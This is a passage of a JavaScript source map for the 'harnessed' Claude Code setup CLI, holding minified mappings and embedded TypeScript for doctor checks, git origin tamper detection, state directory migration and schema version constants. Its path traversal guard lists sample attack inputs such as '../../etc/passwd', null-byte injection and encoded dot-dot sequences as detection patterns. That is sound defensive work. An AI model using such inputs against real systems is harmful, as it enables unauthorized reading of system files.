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","file":"cli.mjs","sourcesContent":["// Phase 2.4 W1 T1.1 — sister-share helper for doctor #5 (warn mode) +\n// audit (hard-fail mode allowFork=false). Karpathy hard limit ≤80L per B-38.\n// Source: RESEARCH § 1.2.5 + § 4.1.1 + D2.4-3.\nimport { spawnSync } from 'node:child_process'\nimport { readFileSync } from 'node:fs'\nimport { join } from 'node:path'\n\nexport interface OriginCheckResult {\n status: 'pass' | 'warn' | 'fail'\n detail: string\n fix?: string\n}\n\nexport interface OriginCheckOptions {\n /** true = doctor (warn on drift — fork 合法), false = audit (fail on drift — tamper) */\n allowFork?: boolean\n}\n\n/** Normalize a git remote URL — strip protocol prefix, trailing .git, ssh `:` → `/`. */\nfunction normalizeUrl(s: string): string {\n return s\n .trim()\n .replace(/^(https?:\\/\\/|git@github\\.com:|ssh:\\/\\/git@github\\.com\\/)/, '')\n .replace(/\\.git$/, '')\n .replace(':', '/')\n .replace(/\\/$/, '')\n .toLowerCase()\n}\n\n/**\n * Verify `git remote get-url origin` matches expected URL from `package.json#repository.url`.\n * doctor uses allowFork=true (warn); audit uses allowFork=false (fail).\n */\nexport function checkOrigin(\n cwd: string = process.cwd(),\n opts: OriginCheckOptions = {},\n): OriginCheckResult {\n const allowFork = opts.allowFork ?? true\n // 1. Read expected URL from package.json `repository.url` SSOT.\n let expected: string | null = null\n try {\n const pkg = JSON.parse(readFileSync(join(cwd, 'package.json'), 'utf8')) as {\n repository?: string | { url?: string }\n }\n expected = typeof pkg.repository === 'string' ? pkg.repository : (pkg.repository?.url ?? null)\n } catch {\n // package.json missing 是合法 case (npm 全局装 / detached run).\n }\n if (!expected) {\n return {\n status: 'warn',\n detail: 'package.json has no repository.url field',\n fix: 'add `repository` field to package.json',\n }\n }\n // 2. Read actual git remote origin URL.\n const r = spawnSync('git', ['config', '--get', 'remote.origin.url'], {\n cwd,\n encoding: 'utf8',\n })\n if (r.status !== 0) {\n return {\n status: 'warn',\n detail: 'no git remote origin (detached / non-clone)',\n fix: 'git remote add origin <expected-url>',\n }\n }\n const actual = r.stdout.trim()\n if (normalizeUrl(actual) === normalizeUrl(expected)) {\n return { status: 'pass', detail: actual }\n }\n // 4. Drift: warn for doctor (fork 合法), fail for audit (tamper detection).\n return {\n status: allowFork ? 'warn' : 'fail',\n detail: `origin '${actual}' ≠ expected '${expected}'`,\n fix: allowFork\n ? 'verify intentional fork; if not, `git remote set-url origin <expected>`'\n : 'origin URL drift — possible tamper, `git remote set-url origin <expected>` to restore',\n }\n}\n","// v3.0.3 hotfix — Claude-Code-co-located state/checkpoint/audit/lock/governance roots.\n//\n// Problem: pre-v3.0.3 the harness rooted ALL of its own state directories at\n// `process.cwd()` via the literal path `.harnessed/...`. When a user launches\n// `harnessed setup` from a read-only CWD (e.g. Warp terminal default\n// `C:\\Program Files\\Warp\\`) the very first mkdir call inside a successful\n// install path (`updateInstalled` → write `<cwd>/.harnessed/state.json`)\n// throws `EPERM: operation not permitted, mkdir 'C:\\Program Files\\Warp\\.harnessed'`,\n// surfacing in the Step B parallel batch as the anonymous `[B] failed ?:` line\n// (Promise.allSettled rejection → fallback to `name: '?'`).\n//\n// Historical context:\n// - v2.0.1 already migrated `.harnessed-backup/` → `~/.harnessed/backups/`\n// via `getBackupRoot()` in `backup.ts` (sister pattern, single SoT).\n// - v3.0.2 added `getMcpSpawnCwd()` for the MCP-install spawn cwd surface.\n// - v3.0.3 generalises the migration to the **rest** of the harness-owned\n// state directories (state.json + checkpoints/ + current-workflow.json +\n// .lock + audit.log + governance.json + archive/) AND co-locates the\n// entire root under `~/.claude/harnessed/` next to `~/.claude/skills/`\n// and `~/.claude.json` — the user's Claude Code state directory is the\n// natural neighbor for the harness's Claude-Code-managing state.\n//\n// Solution: `getHarnessedRoot()` returns `homedir()/.claude/harnessed`\n// unconditionally (sister `getBackupRoot()` v2.0.1 posture). All callers\n// compose their subdir via `harnessedSubdir(name)` so the SoT is honored.\n//\n// Auto-migration: `migrateLegacyHarnessedRoot()` detects pre-v3.0.3\n// `~/.harnessed/` (v2.0.1+ users with existing backups) and renames it\n// atomically to `~/.claude/harnessed/`. Called lazily on first\n// `getHarnessedRoot()` use so any harnessed CLI command triggers the move\n// without requiring a re-run of `harnessed setup`.\n//\n// Why unconditional (no probe + fallback)? Symmetric with v2.0.1 + v3.0.2 —\n// homedir is reliably writable on Win/Mac/Linux; falling back to ctx.cwd\n// re-introduces the EPERM bug we are fixing. `~/.claude/` is already created\n// by Claude Code itself when the user installs CC, so the parent always exists.\n\nimport { existsSync, mkdirSync, renameSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\n/**\n * Return the homedir-rooted harness state root, co-located under Claude Code's\n * state directory.\n *\n * Sister: `src/installers/lib/backup.ts:32` `getBackupRoot()` v2.0.1 and\n * `src/installers/lib/safeCwd.ts` `getMcpSpawnCwd()` v3.0.2 — same unconditional\n * homedir posture.\n *\n * Returns absolute path `<homedir>/.claude/harnessed`. Callers should use\n * `harnessedSubdir(name)` for nested directories rather than `join` directly,\n * to keep all path composition routed through the single SoT.\n *\n * Pure path composition — no filesystem side effects. Legacy directory\n * migration is performed explicitly by CLI entry points via\n * `migrateLegacyHarnessedRoot()` (called from `src/cli.ts` before any\n * subcommand runs), keeping unit tests free of fs side-effects.\n *\n * Test isolation: if `HARNESSED_ROOT_OVERRIDE` is set, return that value\n * verbatim. This is the supported mechanism for e2e tests to redirect the\n * harness root into a per-test tmpdir without polluting the real user home\n * directory. Production code never sets this env var; the override has no\n * effect on real CLI invocations.\n */\nexport function getHarnessedRoot(): string {\n const override = process.env.HARNESSED_ROOT_OVERRIDE\n if (override !== undefined && override !== '') return override\n return join(homedir(), '.claude', 'harnessed')\n}\n\n/**\n * Compose a subdirectory under the harness root. Convenience over\n * `join(getHarnessedRoot(), name)` so callers do not have to import `path`.\n *\n * Example: `harnessedSubdir('checkpoints')` →\n * `<homedir>/.claude/harnessed/checkpoints`.\n */\nexport function harnessedSubdir(name: string): string {\n return join(getHarnessedRoot(), name)\n}\n\n/**\n * Compose a file path under the harness root.\n *\n * Example: `harnessedFile('state.json')` →\n * `<homedir>/.claude/harnessed/state.json`.\n */\nexport function harnessedFile(name: string): string {\n return join(getHarnessedRoot(), name)\n}\n\n/**\n * Migrate the legacy `~/.harnessed/` directory (created by v2.0.1+ for\n * `backups/` and by v3.0.2 for state surfaces) to the new co-located\n * `~/.claude/harnessed/` location.\n *\n * Four cases:\n * 1. Only legacy exists → atomic rename to new path.\n * 2. Only new exists → no-op (already migrated or fresh install).\n * 3. Both exist → rename legacy to `~/.harnessed.legacy-bak/`\n * and emit a stderr warning. Preserves user data;\n * avoids data loss from a clobbering merge.\n * 4. Neither exists → no-op (fresh install).\n *\n * Sync API (renameSync) because this runs once at startup and we want the\n * harnessed root to be in its final location before any other helper composes\n * a path against it. The performance cost of a single rename is negligible.\n *\n * No catch-and-swallow: filesystem errors propagate to the caller so the\n * harness fails loudly rather than silently writing to the wrong location.\n * Idempotency is preserved by the `migrationAttempted` guard above + by\n * checking the legacy-bak sentinel before renaming a second time.\n */\nexport function migrateLegacyHarnessedRoot(): void {\n const legacyRoot = join(homedir(), '.harnessed')\n const newRoot = join(homedir(), '.claude', 'harnessed')\n const claudeParent = join(homedir(), '.claude')\n\n if (!existsSync(legacyRoot)) return // cases 2 + 4: nothing to do\n\n if (!existsSync(newRoot)) {\n // Case 1: clean migration.\n mkdirSync(claudeParent, { recursive: true })\n renameSync(legacyRoot, newRoot)\n console.error(\n `[harnessed] migrated legacy state directory ${legacyRoot} → ${newRoot} (v3.0.3 path change)`,\n )\n return\n }\n\n // Case 3: both exist — preserve legacy under a sibling bak path. If the\n // bak path already exists, a prior run already did the rescue + the legacy\n // path is somehow back; surface that clearly rather than overwriting.\n const safetyBak = join(homedir(), '.harnessed.legacy-bak')\n if (existsSync(safetyBak)) {\n console.error(\n `[harnessed] WARN: ${legacyRoot} reappeared after a prior migration (existing bak at ${safetyBak}); leaving in place — inspect manually if needed`,\n )\n return\n }\n renameSync(legacyRoot, safetyBak)\n console.error(\n `[harnessed] both ${legacyRoot} and ${newRoot} existed — legacy directory preserved at ${safetyBak} (review manually if you need data from it; v3.0.3 path change)`,\n )\n}\n","// v3.7.0 Phase 1 — built-in doctor checks hoisted from src/cli/doctor.ts.\n// Sister `check-planning-with-files.ts` / `check-agent-teams-doctor.ts` helper\n// pattern keeps each check ≤80L and lets doctor.ts itself stay a thin dispatcher\n// (≤100L) — true to B-03 ≤225L hard limit without 12.5% tolerance exception.\n//\n// 4 built-in checks moved here verbatim:\n// - checkNodeVersion (sync, Node ≥22 hard requirement)\n// - checkMcpScope (async, ADR 0004 § 5 project-scope MCP enforcement)\n// - checkJq (sync, jq CLI presence + platform install hint)\n// - checkWinBash (sync, WSL bash detection + ralph-loop fork bug guard)\n\nimport { spawnSync } from 'node:child_process'\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\nexport interface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n /** v3.9.1 — structured install command sequence consumed by auto-install\n * dispatcher. Each entry is a single shell command tokenized for spawnSync\n * (first token = exe, rest = argv). Multiple entries run sequentially;\n * any non-zero exit aborts the chain. Distinct from `fix` (free-text\n * human-readable hint) — `install_commands` is machine-executable. */\n install_commands?: readonly string[]\n}\n\nexport function checkNodeVersion(): CheckResult {\n const v = process.versions.node\n const major = Number.parseInt(v.split('.')[0] ?? '0', 10)\n return major >= 22\n ? { name: 'node ≥ 22', status: 'pass', message: `node ${v}` }\n : {\n name: 'node ≥ 22',\n status: 'fail',\n message: `node ${v} (need ≥ 22)`,\n fix: 'nvm install 22 && nvm use 22',\n }\n}\n\nexport async function checkMcpScope(): Promise<CheckResult> {\n // ADR 0004 § 5: MCP servers must be installed at project scope (.mcp.json),\n // never at user scope (~/.claude.json mcpServers block) — CC #54803.\n const projectMcp = join(process.cwd(), '.mcp.json')\n const userClaude = join(homedir(), '.claude.json')\n\n let projectExists = false\n try {\n await readFile(projectMcp, 'utf8')\n projectExists = true\n } catch {\n // .mcp.json absence is fine if no MCP servers are installed yet — only an issue\n // if the user has them at user scope instead.\n }\n\n let userHasMcp = false\n try {\n const raw = await readFile(userClaude, 'utf8')\n const parsed = JSON.parse(raw) as { mcpServers?: Record<string, unknown> }\n userHasMcp = !!parsed.mcpServers && Object.keys(parsed.mcpServers).length > 0\n } catch {\n // ENOENT or malformed JSON — treat as no user-scope MCP servers, OK.\n }\n\n if (userHasMcp) {\n return {\n name: 'mcp scope = project',\n status: 'fail',\n message: `~/.claude.json has user-scope mcpServers (CC #54803 risk)`,\n fix: 'remove user-scope entries; re-add via `claude mcp add --scope project ...`',\n }\n }\n return {\n name: 'mcp scope = project',\n status: 'pass',\n message: projectExists ? 'project .mcp.json present' : 'no MCP servers installed',\n }\n}\n\nexport function checkJq(): CheckResult {\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, ['jq'], { encoding: 'utf8' })\n if (r.status === 0 && r.stdout.trim().length > 0) {\n return {\n name: 'jq present',\n status: 'pass',\n message: r.stdout.split(/\\r?\\n/)[0]?.trim() ?? 'jq found',\n }\n }\n const fix =\n process.platform === 'win32'\n ? 'winget install jqlang.jq (or: scoop install jq)'\n : process.platform === 'darwin'\n ? 'brew install jq'\n : 'apt-get install jq (or: dnf install jq)'\n return { name: 'jq present', status: 'fail', message: 'jq not found in PATH', fix }\n}\n\nexport function checkWinBash(): CheckResult {\n // Only meaningful on Windows; on Unix we report skipped-OK.\n if (process.platform !== 'win32') {\n return { name: 'bash flavor (win)', status: 'pass', message: 'skipped (non-Windows)' }\n }\n // Step 1: locate the `bash` that PATH would resolve.\n const where = spawnSync('where', ['bash'], { encoding: 'utf8' })\n const firstBash = (where.stdout ?? '').split(/\\r?\\n/)[0]?.trim() ?? '(not found)'\n if (where.status !== 0 || !firstBash || firstBash === '(not found)') {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: 'no bash on PATH',\n fix: 'install Git for Windows (Git Bash) and ensure it is on PATH',\n }\n }\n // Step 2: WSL probe — non-empty WSL_DISTRO_NAME = WSL bash, ralph-loop fork bug risk.\n const probe = spawnSync('bash', ['-c', 'echo $WSL_DISTRO_NAME'], { encoding: 'utf8' })\n const distro = (probe.stdout ?? '').trim()\n if (distro.length > 0) {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: `WSL bash (${distro}) — ralph-loop subagent fork breaks under WSL`,\n fix: 'reorder PATH so Git Bash precedes WSL bash.exe (Settings → System → Environment Variables)',\n }\n }\n return { name: 'bash flavor (win)', status: 'pass', message: `${firstBash} (Git Bash / native)` }\n}\n","// src/cli/lib/probe-gstack.ts — Phase 3.2 W1 T1.4 — D-01 PROBE PRIMARY helper\n// (sister Phase 2.4 W3 origin-check.ts sister-share extract pattern for Karpathy\n// ≤200L 守门 — keeps doctor.ts ≤200L). Probes 4 outcome branches: gstack-only\n// (pass) / bare-only (pass) / both (ambiguous, fail+fix) / neither (fail+install).\n// Win shell flavor sister doctor.ts L80 checkJq pattern (process.platform switch).\nimport { spawnSync } from 'node:child_process'\n\nexport type GstackPrefix = 'gstack-' | ''\n\nexport interface ProbeResult {\n status: 'pass' | 'fail'\n prefix?: GstackPrefix\n detail: string\n fix?: string\n}\n\nfunction probeOne(cmd: string): boolean {\n // sister doctor.ts L80 checkJq pattern: Node spawnSync 不继承 shell context,\n // 跨 Win-shell 唯一稳路径 (RESEARCH § 1.2 verified).\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, [cmd], { encoding: 'utf8' })\n return r.status === 0 && (r.stdout?.trim().length ?? 0) > 0\n}\n\n/** Probe PATH for gstack command prefix. 4 outcome branches per D-01 LOCKED\n * (RESEARCH § 1.4 message table verbatim — Karpathy fail-loud discipline). */\nexport function probeGstackPrefix(): ProbeResult {\n const hasGstack = probeOne('gstack-office-hours')\n const hasBare = probeOne('office-hours')\n if (hasGstack && !hasBare) {\n return { status: 'pass', prefix: 'gstack-', detail: 'gstack-office-hours found' }\n }\n if (!hasGstack && hasBare) {\n return { status: 'pass', prefix: '', detail: 'office-hours found (--no-prefix mode)' }\n }\n if (hasGstack && hasBare) {\n return {\n status: 'fail',\n detail: 'both gstack-office-hours AND office-hours found — ambiguous',\n fix: 'edit .harnessed/config.json manually: \\'{\"gstack_prefix\":\"gstack-\"}\\' OR \\'{\"gstack_prefix\":\"\"}\\'',\n }\n }\n return {\n status: 'fail',\n detail: 'neither gstack-office-hours nor office-hours found in PATH',\n fix: 'install gstack: `npm i -g @gstack/cli` (or your preferred install method)',\n }\n}\n","// Phase 5.2 W2 T2.1 — R10.4 path traversal guard (D-03 + D-08).\n// Sister: src/cli/audit-log.ts REDACT_PATTERNS module-level pre-compile pattern.\n// Pre-compile at module load (NOT inside guardPath — per PLAN sneak-block +\n// RESEARCH § 3.1 Pitfall 4: do NOT use inside hot loop).\n// D-08: PathTraversalError message generic — NOT echo user input (CSO veto).\n// Karpathy hard limit ≤200L.\n\n// D-03 LOCKED: 5 OWASP A1 path traversal vectors (CONTEXT.md D-03 L66-71).\nconst PATH_TRAVERSAL_PATTERNS: RegExp[] = [\n /\\.\\.\\//, // (1) Unix dot-dot-slash: ../../etc/passwd\n /\\.\\.\\\\/, // (2) Windows backslash: ..\\windows\\system32\n // biome-ignore lint/suspicious/noControlCharactersInRegex: intentional null-byte injection detection (R10.4 D-03 OWASP A1 vector 3)\n /\\x00/, // (3) Null byte injection: path\\x00attack\n /%2[eE]%2[eE]/, // (4) URL-encoded dot-dot: %2e%2e%2fetc\n /%25[2][eE]%25[2][eE]/, // (5) Double-encoded: %252e%252e%252f\n]\n\n/** D-08: generic message — NOT echo back user input (attack reconnaissance leakage CSO veto). */\nexport class PathTraversalError extends Error {\n constructor() {\n super('path traversal attempt detected')\n this.name = 'PathTraversalError'\n Object.setPrototypeOf(this, PathTraversalError.prototype)\n }\n}\n\n/**\n * Guard a user-supplied path/name against the 5 OWASP A1 traversal vectors.\n * Throws PathTraversalError on first match.\n * Safe: does NOT include user input in error message (D-08).\n * Call at CLI entry points only — NOT inside loops (RESEARCH § Pitfall 4).\n */\nexport function checkPathSafe(input: string): void {\n for (const re of PATH_TRAVERSAL_PATTERNS) {\n if (re.test(input)) throw new PathTraversalError()\n }\n}\n","// Phase 2.2 Wave 2 T2.0 — schemaVersion 7-surface infrastructure (CD-5).\n// ADR 0011 errata — schemaVersion convention (phase 2.2 W2 — F4 / D-16 / B-32).\n//\n// IMPL NOTE — implements `.planning/intel/omc-comparison.md` § CD-5 (single\n// 兼容门 ⭐⭐⭐ ECC pattern, 纯学不 vendor). Naming convention\n// `harnessed.<surface>.v<N>` covers 18 schema-producing surfaces. Three consumer\n// rules (documented as JSDoc on each export below):\n// (a) consumers MUST branch on `schemaVersion` (use `branchOnSchemaVersion`)\n// (b) unknown `schemaVersion` values gracefully degrade (treated as `unknown`\n// bucket — adapter-specific strings are legal, never throw)\n// (c) new fields MUST be added nested (never top-level on existing surface)\n//\n// The 18 surfaces are the schema-producing artifacts:\n// - routing-snapshot : routing engine arbitrate output snapshot\n// - handoff-doc : phase → phase handoff document\n// - phases-yaml : workflows/execute-task/phases.yaml\n// - manifest-state : .harnessed/state/manifest.json\n// - installer-state : .harnessed/state/installer.json\n// - route-decision-log : routing decision audit log\n// - checkpoint : execute-task workflow checkpoint envelope\n// - current-workflow : workflow state machine (active / paused / complete) ← Phase 3.1 W1 T1.1 ADD (8th surface, D-02 KARPATHY 3-state lock)\n// - config : .harnessed/config.json (gstack_prefix store) ← Phase 3.2 W1 T1.1 ADD (9th surface, D-01 PROBE)\n// - governance : .harnessed/governance.json (gstack veto status) ← Phase 3.2 W1 T1.1 ADD (10th surface, D-04 PUSH)\n// - plan-feature : src/workflow/schema/planFeature.ts ← Phase 3.3 W0 T0.5 BACKFILL (11th surface)\n// - aliases : manifests/aliases.yaml ← Phase 3.3 W1 T1.1 ADD (12th surface, D-01 RICH)\n// - known-good : versions/<harnessed-ver>-known-good.yaml ← Phase 3.3 W1 T1.1 ADD (13th surface, D-03 YAML manifest)\n// - capabilities : workflows/capabilities.yaml ← Phase v2.0-2.3 W0 ADD 14th surface (R20.2 flat yaml capabilities manifest validate)\n// - judgment : workflows/judgments/*.yaml ← Phase v2.0-2.3 W0 ADD 15th surface (R20.4 multi-file judgments validate)\n// - workflow : workflows/<sub>/workflow.yaml v2 ← Phase v2.0-2.4 W0 ADD 16th surface (R20.1+R20.2+R20.9)\n// - workflow_v3 : workflows/<stage>/<sub>/workflow.yaml v3 ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (D-09 disciplines_applied + D-05 tools_available + master delegates_to)\n// - discipline : workflows/disciplines/*.yaml ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface (D-09 L0 Discipline Substrate)\n//\n// TypeBox is the established schema lib (sister of `src/manifest/schema/spec.ts`).\n\nimport { type Static, Type } from '@sinclair/typebox'\n\n/** SchemaVersion template literal — `harnessed.<surface>.v<N>`. Each producer\n * declares its surface name once via `SCHEMA_VERSIONS` below and references it\n * through this type, so a string literal drift is a compile error.\n * Default is `.v1`; v2 entry sister: `SchemaVersionV2<S>` for explicit v2 surfaces;\n * v3 entry sister: `SchemaVersionV3<S>` for explicit v3 surfaces. */\nexport type SchemaVersion<S extends string> = `harnessed.${S}.v1`\nexport type SchemaVersionV2<S extends string> = `harnessed.${S}.v2`\nexport type SchemaVersionV3<S extends string> = `harnessed.${S}.v3`\n\n/** Single source of truth for the 18 surface names (B-32 / D-16). Producers MUST\n * import from this const — direct string literals fail the Wave 2 grep\n * acceptance (≥ 18 `harnessed.\\w+.v\\d` references in src/types/*.ts). */\nexport const SCHEMA_VERSIONS = {\n routingSnapshot: 'harnessed.routing-snapshot.v1',\n handoffDoc: 'harnessed.handoff-doc.v1',\n phasesYaml: 'harnessed.phases-yaml.v1',\n manifestState: 'harnessed.manifest-state.v1',\n installerState: 'harnessed.installer-state.v1',\n routeDecisionLog: 'harnessed.route-decision-log.v1',\n checkpoint: 'harnessed.checkpoint.v1',\n currentWorkflow: 'harnessed.current-workflow.v1', // ← Phase 3.1 W1 T1.1 ADD 8th surface (D-02 KARPATHY 